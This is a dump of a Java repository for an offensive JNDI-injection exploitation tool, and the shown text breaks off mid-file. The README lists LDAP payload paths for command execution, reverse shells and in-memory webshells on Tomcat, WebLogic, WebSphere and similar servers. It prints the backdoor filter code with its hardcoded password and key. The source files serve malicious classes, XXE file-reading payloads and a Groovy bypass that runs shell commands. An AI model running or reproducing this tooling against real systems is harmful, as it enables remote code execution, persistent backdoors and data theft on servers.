Repository: zzwlpx/JNDIExploit
Branch: master
Commit: 7aa2b5f8ab74
Files: 60
Total size: 34.9 MB
Directory structure:
gitextract_idkl6mhj/
├── .gitignore
├── .idea/
│ ├── .gitignore
│ ├── compiler.xml
│ ├── encodings.xml
│ ├── libraries/
│ │ ├── weblogic.xml
│ │ └── webserviceclient.xml
│ ├── misc.xml
│ ├── uiDesigner.xml
│ └── vcs.xml
├── JNDIExploit.iml
├── README.md
├── lib/
│ ├── weblogic.jar
│ └── webserviceclient.jar
├── pom.xml
└── src/
├── main/
│ └── java/
│ └── com/
│ └── feihong/
│ └── ldap/
│ ├── HTTPServer.java
│ ├── LdapServer.java
│ ├── Starter.java
│ ├── controllers/
│ │ ├── BasicController.java
│ │ ├── GroovyBypassController.java
│ │ ├── LdapController.java
│ │ ├── LdapMapping.java
│ │ ├── PropertiesRefAddr.java
│ │ ├── SerializedDataController.java
│ │ ├── TomcatBypassController.java
│ │ └── WebsphereBypassController.java
│ ├── enumtypes/
│ │ ├── GadgetType.java
│ │ ├── MemShellType.java
│ │ ├── PayloadType.java
│ │ └── WebsphereActionType.java
│ ├── exceptions/
│ │ ├── IncorrectParamsException.java
│ │ ├── UnSupportedActionTypeException.java
│ │ ├── UnSupportedGadgetTypeException.java
│ │ └── UnSupportedPayloadTypeException.java
│ ├── gadgets/
│ │ ├── C3P0.java
│ │ ├── CommonsBeanutils1.java
│ │ ├── CommonsCollections1.java
│ │ ├── CommonsCollections2.java
│ │ ├── Jre8u20.java
│ │ ├── URLDNS.java
│ │ └── utils/
│ │ ├── ClassFiles.java
│ │ ├── Gadgets.java
│ │ ├── Reflections.java
│ │ └── Util.java
│ ├── template/
│ │ ├── CommandTemplate.java
│ │ ├── DnslogTemplate.java
│ │ ├── DynamicFilterTemplate.java
│ │ ├── JBossMemshellTemplate.java
│ │ ├── JettyMemshellTemplate.java
│ │ ├── MyClassLoader.java
│ │ ├── ReverseShellTemplate.java
│ │ ├── SpringMemshellTemplate.java
│ │ ├── Template.java
│ │ ├── TomcatMemshellTemplate.java
│ │ ├── WeblogicMemshellTemplate.java
│ │ └── WebsphereMemshellTemplate.java
│ └── utils/
│ ├── Cache.java
│ ├── Config.java
│ └── Util.java
└── test/
└── java/
├── TestBase64.java
└── TestProgram.java
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
/target/
================================================
FILE: .idea/.gitignore
================================================
# Default ignored files
/workspace.xml
================================================
FILE: .idea/compiler.xml
================================================
================================================
FILE: .idea/encodings.xml
================================================
================================================
FILE: .idea/libraries/weblogic.xml
================================================
================================================
FILE: .idea/libraries/webserviceclient.xml
================================================
================================================
FILE: .idea/misc.xml
================================================
================================================
FILE: .idea/uiDesigner.xml
================================================
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
================================================
FILE: .idea/vcs.xml
================================================
================================================
FILE: JNDIExploit.iml
================================================
================================================
FILE: README.md
================================================
# JNDIExploit
一款用于 ```JNDI注入``` 利用的工具,大量参考/引用了 ```Rogue JNDI``` 项目的代码,支持直接```植入内存shell```,并集成了常见的```bypass 高版本JDK```的方式,适用于与自动化工具配合使用。
## 使用说明
使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明,其中 ```--ip``` 参数为必选参数
```
Usage: java -jar JNDIExploit.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
```
使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式
```
Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
ldap://127.0.0.1:1389/Basic/Command/[cmd]
ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Basic/TomcatMemshell
ldap://127.0.0.1:1389/Basic/JettyMemshell
ldap://127.0.0.1:1389/Basic/WeblogicMemshell
ldap://127.0.0.1:1389/Basic/JBossMemshell
ldap://127.0.0.1:1389/Basic/WebsphereMemshell
ldap://127.0.0.1:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialize/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Deserialize/URLDNS/[domain]
ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Dnslog/[domain]
ldap://127.0.0.1:1389/Deserialize/CommonsCollections2/Command/[cmd]
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Deserialize/C3P0/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Deserialize/Jre8u20/TomcatMemshell ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell
ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
```
* 目前支持的所有 ```PayloadType``` 为
* ```Dnslog```: 用于产生一个```DNS```请求,与 ```DNSLog```平台配合使用,对```Linux/Windows```进行了简单的适配
* ```Command```: 用于执行命令,如果命令有特殊字符,支持对命令进行 ```Base64编码```后传输
* ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell,方便使用
* ```TomcatMemshell```: 用于植入```Tomcat内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```SpringMemshell```: 用于植入```Spring内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WeblogicMemshell```: 用于植入```Weblogic内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```JettyMemshell```: 用于植入```Jetty内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```JBossMemshell```: 用于植入```JBoss内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WebsphereMemshell```: 用于植入```Websphere内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* 目前支持的所有 ```GadgetType``` 为
* ```URLDNS```
* ```CommonsBeanutis1```
* ```CommonsCollections1```
* ```CommonsCollections2```
* ```C3P0```
* ```Jre8u20```
* ```WebsphereBypass``` 中的 3 个动作:
* ```list```:基于```XXE```查看目标服务器上的目录或文件内容
* ```upload```:基于```XXE```的```jar协议```将恶意```jar包```上传至目标服务器的临时目录
* ```rce```:加载已上传至目标服务器临时目录的```jar包```,从而达到远程代码执行的效果(这一步本地未复现成功,抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常,有复现成功的小伙伴麻烦指导下)
## ```内存shell```说明
* 采用动态添加 ```Filter/Controller```的方式,并将添加的```Filter```移动至```FilterChain```的第一位
* ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目
* ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]```
* ```Behinder shell``` 的访问方式需要修改```冰蝎```客户端(请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改),并在访问时需要添加 ```X-Options-Ai``` 头部,密码为```rebeyond```
植入的 Filter 代码如下:
```
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");
String k;
Cipher cipher;
if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
k = servletRequest.getParameter("pass");
if (k != null && !k.isEmpty()) {
cipher = null;
String[] cmds;
if (File.separator.equals("/")) {
cmds = new String[]{"/bin/sh", "-c", k};
} else {
cmds = new String[]{"cmd", "/C", k};
}
String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
} else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
try {
if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
k = "e45e329feb5d925b";
((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));
Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
targetMethod.invoke(evilObject, servletRequest, servletResponse);
}
} catch (Exception var10) {
var10.printStackTrace();
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
```
## 参考
* https://github.com/veracode-research/rogue-jndi
* https://github.com/welk1n/JNDI-Injection-Exploit
* https://github.com/welk1n/JNDI-Injection-Bypass
================================================
FILE: lib/weblogic.jar
================================================
[File too large to display: 34.7 MB]
================================================
FILE: pom.xml
================================================
4.0.0
org.example
JNDIExploit
1.0-SNAPSHOT
org.apache.maven.plugins
maven-compiler-plugin
3.8.0
6
6
${project.basedir}/lib
maven-assembly-plugin
false
jar-with-dependencies
com.feihong.ldap.Starter
make-assembly
package
assembly
true
UTF-8
1.6
1.6
3.2.3.RELEASE
org.springframework
spring-core
${spring.version}
org.springframework
spring-beans
${spring.version}
org.springframework
spring-web
${spring.version}
org.springframework
spring-oxm
${spring.version}
org.springframework
spring-tx
${spring.version}
org.springframework
spring-jdbc
${spring.version}
org.springframework
spring-webmvc
${spring.version}
org.springframework
spring-aop
${spring.version}
org.springframework
spring-context-support
${spring.version}
org.springframework
spring-test
${spring.version}
junit
junit
4.11
test
javax.servlet
javax.servlet-api
4.0.1
com.mchange
c3p0
0.9.5.5
commons-beanutils
commons-beanutils
1.9.2
commons-collections
commons-collections
3.1
org.apache.commons
commons-collections4
4.0
org.apache.tomcat.embed
tomcat-embed-core
8.5.58
org.ow2.asm
asm
8.0.1
com.unboundid
unboundid-ldapsdk
4.0.9
com.nqzero
permit-reflect
0.3
net.jodah
expiringmap
0.5.9
org.reflections
reflections
0.9.10
io.undertow
undertow-core
2.2.2.Final
io.undertow
undertow-servlet
2.2.2.Final
org.jboss.spec.javax.security.jacc
jboss-jacc-api_1.4_spec
1.0.3.Final
com.beust
jcommander
1.78
org.codehaus.groovy
groovy
2.4.5
org.apache.commons
commons-text
1.8
================================================
FILE: src/main/java/com/feihong/ldap/HTTPServer.java
================================================
package com.feihong.ldap;
import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.feihong.ldap.utils.Cache;
import com.feihong.ldap.utils.Config;
import com.feihong.ldap.utils.Util;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.*;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
public class HTTPServer {
public static void start() throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
httpServer.createContext("/", new HttpHandler() {
public void handle(HttpExchange httpExchange){
try {
System.out.println("[+] New HTTP Request From " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
String path = httpExchange.getRequestURI().getPath();
if(path.endsWith(".class")){
handleClassRequest(httpExchange);
}else if(path.endsWith(".wsdl")){
handleWSDLRequest(httpExchange);
}else if(path.endsWith(".jar")){
handleJarRequest(httpExchange);
}else if(path.startsWith("/xxelog")){
handleXXELogRequest(httpExchange);
}else{
httpExchange.sendResponseHeaders(404, 0);
httpExchange.close();
System.out.println("[!] Response Code: " + 404);
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
httpServer.setExecutor(null);
httpServer.start();
System.out.println("[+] HTTP Server Start Listening on " + Config.httpPort + "...");
}
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true);
// System.out.println("[\u001B[31]mxxe attack result: " + startLine + "\u001B[0m");
System.out.println("[+] XXE Attack Result: " + startLine);
exchange.sendResponseHeaders(200, 0);
exchange.close();
}
private static void handleJarRequest(HttpExchange exchange) throws IOException{
String path = exchange.getRequestURI().getPath();
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if(Cache.contains(jarName)){
System.out.println("[+] Response Code: " + 200);
byte[] bytes = Cache.get(jarName);
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
System.out.println("[+] Stalling connection for 60 seconds");
try{
Thread.sleep(60000);
}catch (InterruptedException e){
e.printStackTrace();
}
System.out.println("[+] Release stalling...");
}else{
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleClassRequest(HttpExchange exchange) throws IOException{
String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println("[+] Receive ClassRequest: " + className + ".class");
if(Cache.contains(className)){
System.out.println("[+] Response Code: " + 200);
byte[] bytes = Cache.get(className);
exchange.sendResponseHeaders(200, bytes.length);
exchange.getResponseBody().write(bytes);
}else{
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
String query = exchange.getRequestURI().getQuery();
Map params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1);
if(path.startsWith("list")) {
//intended to list directories or read files on server
String file = params.get("file");
if (file != null && !file.isEmpty()) {
String listWsdl = "" +
"\n" +
" \n" +
" %bbb;\n" +
"]>\n" +
"\n" +
" &ddd;\n" +
"";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
exchange.getResponseBody().write(listWsdl.getBytes());
} else {
System.out.println("[!] Missing or wrong argument");
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}else if(path.startsWith("upload")) {
String type = params.get("type");
String[] args = null;
if (type.equalsIgnoreCase("command")) {
args = new String[]{params.get("cmd")};
} else if (type.equalsIgnoreCase("dnslog")) {
args = new String[]{params.get("url")};
} else if (type.equalsIgnoreCase("reverseshell")) {
args = new String[]{params.get("ip"), params.get("port")};
}
String jarName = createJar(type, args);
if (jarName != null) {
String uploadWsdl = "";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
exchange.getResponseBody().write(uploadWsdl.getBytes());
} else {
System.out.println("[!] Missing or wrong argument");
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}else if(path.startsWith("http")) {
String xxhttp = "'>'>%ccc;";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
exchange.getResponseBody().write(xxhttp.getBytes());
exchange.close();
}else{
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
exchange.close();
}
}
private static Map parseQuery(String query){
Map params = new HashMap();
try{
for(String str : query.split("&")){
try{
String[] parts = str.split("=",2);
params.put(parts[0], parts[1]);
}catch(Exception e){
//continue
}
}
}catch(Exception e){
//continue
}
return params;
}
/*
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
目前暂时认为其不会有问题,如果有问题,后面再修改
*/
private static String createJar(String type, String... params) throws Exception {
byte[] bytes = new byte[0];
String className = "xExportObject";
if (type.toLowerCase().equals("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
bytes = commandTemplate.getBytes();
} else if (type.toLowerCase().equals("dnslog")){
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
bytes = dnslogTemplate.getBytes();
} else if (type.toLowerCase().equals("reverseshell")) {
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
bytes = reverseShellTemplate.getBytes();
} else if (type.toLowerCase().equals("webspherememshell")) {
ClassPool classPool = ClassPool.getDefault();
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
exploitClass.setName(className);
exploitClass.detach();
bytes = exploitClass.toBytecode();
}else{
return null;
}
System.out.println("[+] Name of Class in Jar: " + className);
ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes);
jarOut.closeEntry();
jarOut.close();
bout.close();
String jarName = Util.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/LdapServer.java
================================================
package com.feihong.ldap;
import com.feihong.ldap.controllers.LdapController;
import com.feihong.ldap.controllers.LdapMapping;
import com.feihong.ldap.utils.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor;
import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
public class LdapServer extends InMemoryOperationInterceptor {
TreeMap routes = new TreeMap();
public static void start() {
try {
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
Config.ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening();
System.out.println("[+] LDAP Server Start Listening on " + Config.ldapPort + "...");
}
catch ( Exception e ) {
e.printStackTrace();
}
}
public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping
Set> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map
for(Class> controller : controllers) {
Constructor> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for(String mapping : mappings) {
if(mapping.startsWith("/"))
mapping = mapping.substring(1); //remove first forward slash
routes.put(mapping, instance);
}
}
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
System.out.println("[+] Received LDAP Query: " + base);
LdapController controller = null;
//find controller
for(String key: routes.keySet()) {
//compare using wildcard at the end
if(base.toLowerCase().startsWith(key)) {
controller = routes.get(key);
break;
}
}
if(controller == null){
System.out.println("[!] Invalid LDAP Query: " + base);
return;
}
try {
controller.process(base);
controller.sendResult(result, base);
} catch (Exception e1) {
System.out.println("[!] Exception: " + e1.getMessage());
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/Starter.java
================================================
package com.feihong.ldap;
import com.feihong.ldap.utils.Config;
import java.io.IOException;
public class Starter {
public static void main(String[] args) throws IOException {
Config.applyCmdArgs(args);
LdapServer.start();
HTTPServer.start();
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/BasicController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.MemShellType;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import java.net.URL;
@LdapMapping(uri = { "/basic" })
public class BasicController implements LdapController {
//最后的反斜杠不能少
private String codebase = Config.codeBase;
private PayloadType type;
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload");
//这个方法里面有改动,其他基本无改动
Entry e = new Entry(base);
String className = "";
switch (type){
case dnslog:
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]);
dnslogTemplate.cache();
className = dnslogTemplate.getClassName();
break;
case command:
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
break;
case reverseshell:
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]);
reverseShellTemplate.cache();
className = reverseShellTemplate.getClassName();
break;
case tomcatmemshell:
className = MemShellType.TOMCAT;
break;
case jettymemshell:
className = MemShellType.JETTY;
break;
case jbossmemshell:
className = MemShellType.JBOSS;
break;
case weblogicmemshell:
className = MemShellType.WEBLOGIC;
break;
case webspherememshell:
className = MemShellType.WEBSPHERE;
break;
case springmemshell:
className = MemShellType.SPRING;
break;
}
URL turl = new URL(new URL(this.codebase), className + ".class");
System.out.println("[+] Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", this.codebase);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try{
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if(secondIndex < 0) secondIndex = base.length();
try{
type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());
System.out.println("[+] Paylaod: " + type);
}catch(IllegalArgumentException e){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex));
}
switch(type){
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
params = new String[]{url};
break;
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
params = new String[]{cmd};
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println("[+] IP: " + results[0]);
System.out.println("[+] Port: " + results[1]);
params = results;
break;
}
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
/*
* Requires:
* - Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*
* Groovy 语法参考:
* - https://xz.aliyun.com/t/8231#toc-7
* - https://my.oschina.net/jjyuangu/blog/1815945
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
@LdapMapping(uri = { "/groovybypass" })
public class GroovyBypassController implements LdapController {
private PayloadType type;
private String[] params;
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
System.out.println("[+] Returen script: ");
System.out.println("-----------------------------------------------");
System.out.println(template.replace("${cmd}", params[0]).replace("${cmd}", params[0]));
System.out.println("-----------------------------------------------");
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try{
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if(secondIndex < 0) secondIndex = base.length();
//因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType
String payloadType = base.substring(firstIndex + 1, secondIndex);
if(payloadType.equalsIgnoreCase("command")){
type = PayloadType.valueOf("command");
System.out.println("[+] Paylaod: " + type);
}else{
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
params = new String[]{cmd};
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/LdapController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/LdapMapping.java
================================================
package com.feihong.ldap.controllers;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface LdapMapping {
String[] uri();
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java
================================================
package com.ibm.websphere.client.factory.jdbc;
import javax.naming.RefAddr;
import java.util.Properties;
//this is a stub class required by WebSphere2 ldap handler
public class PropertiesRefAddr extends RefAddr {
private static final long serialVersionUID = 288055886942232156L;
private Properties props;
public PropertiesRefAddr(String addrType, Properties props) {
super(addrType);
this.props = props;
}
public Object getContent() {
return this.props;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/SerializedDataController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.GadgetType;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.feihong.ldap.gadgets.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
